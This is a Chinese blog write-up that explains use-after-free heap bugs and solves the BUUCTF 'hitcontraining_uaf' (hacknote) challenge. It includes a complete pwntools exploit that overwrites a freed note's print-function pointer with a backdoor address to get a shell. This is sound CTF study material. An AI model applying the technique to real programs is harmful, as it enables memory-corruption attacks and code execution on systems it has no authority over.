use after free
这里开始记录堆的一些利用技巧,我认为堆的话是以各种为学习基础,在这些漏洞的基础上,去学习各种漏洞的利用和组合使用技巧,而这些漏洞中最基础的一种漏洞就是use after free.
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
引用wiki上的,但其实我来总结的话就是,我们free一个chunk时,如果没有将他的指针置零也就是NULL,本质上就是你只是让bins指向了这个chunk,另外还有chunk本身的指针继续指向它,我们大可利用这个指针去在这个chunk里修改数据,或者修改指向函数。
这里记录一道例题buu上的 hitcontraining_uaf


main和menu没什么好说的,标准的菜单板子。
然后看到add函数

首先是最多5个chunk,但是这里的chunk和正常的chunk不太一样,它首先malloc了8个字节,然后指向了print_note_content,

其实指向的就是一个输出的意思。然后继续看,它还read了一个size,再根据size去read他的content

看到print函数。

这里就是会调用上面讲的puts可以理解为输出content。

这里的free没有null掉指针,有use after free漏洞。先释放了content chunk,后释放了struct chunk。

后门函数也是有的。
这题的思路就是利用use after free 这个漏洞,去修改print的指针去指向这个后门函数,然后得到shell。
点击查看代码
from pwn import *
io = process('./hacknote')
def addnote(size, content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def delnote(idx):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def printnote(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
magic=0x8048945
addnote(0x24,'aaaa')
addnote(0x24,'bbbb')
delnote(0)
delnote(1)
addnote(0x8,p32(magic))
printnote(0)
io.interactive()

看bins里有两个分块,然后我们add一个0x8就是为了用0x10里的两个 chunk,这样我们就可以将1的chunk用来放新chunk的print指针和size,0的chunk用来当content用来放magic然后print一下就可以跑content这样就有shell了

浙公网安备 33010602011771号